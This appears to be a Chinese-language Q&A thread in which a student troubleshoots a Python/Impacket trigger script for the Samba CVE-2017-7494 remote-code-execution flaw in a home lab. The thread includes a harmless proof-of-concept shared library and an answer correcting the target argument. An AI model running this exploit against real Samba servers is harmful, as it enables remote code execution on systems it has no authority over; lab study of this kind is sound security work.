1

我正在做一个小型学校网络安全项目,我的 Python(带有 Impacket 库:RPC 传输模块)脚本有一个小错误。这是一个非常简单的脚本,payload 可以在 GitHub 上找到供您参考: https ://github.com/omri9741/cve-2017-7494/blob/master/exploit.py

from optparse import OptionParser
from impacket.dcerpc.v5 import transport

def main():
    parser = OptionParser()
    parser.add_option("-t", "--target", dest="target", help="target ip address")
    parser.add_option("-m", "--module", dest="module", help="module path on 
target server")

   (options, args) = parser.parse_args()
   if options.target and options.module:
      stringbinding = r'ncacn_np:%s[\pipe\%s]' % (options.target, options.module)
      rpctransport = transport.DCERPCTransportFactory(stringbinding)
      dce = rpctransport.get_dce_rpc()
      dce.connect()

   else:
      parser.print_help()        

if __name__=="__main__":
   main()

我已经设置了整个系统(Kali Linux 2017.1),包括 Samba 服务器(4.5.8),并且 Samba 共享已经过测试(连接 OK 文件传输 OK)。已验证没有防火墙服务正在运行。有效载荷也已从 C 文件内置到共享对象 libpoc.so 中:

#include <stdio.h>
int samba_init_module(void)
{
printf("hello from cve-2017-7494 poc! ;)\n");
return 0;
}

和头文件:

#ifndef poc_h__
#define poc_h__
 extern int samba_init_module(void);
#endif  // poc_h__

运行命令时:

python exploit.py -t //localhost/pentest -m /localhost/pentest/libpoc.so

我得到回溯日志:

raise socket.error ("Connection error (%s:%s)" % (peer[0], peer[1]), e) socket.error: 
   [Errno Connection error (localhost/pentest:445)] [Errno -2] Name or service not known
4

1 回答 1

0

您应该只指定目标 FQDN 或 IP 地址。例如:

python exploit.py -t 192.168.1.10 -m /localhost/pentest/libpoc.so
于 2017-07-24T17:18:27.110 回答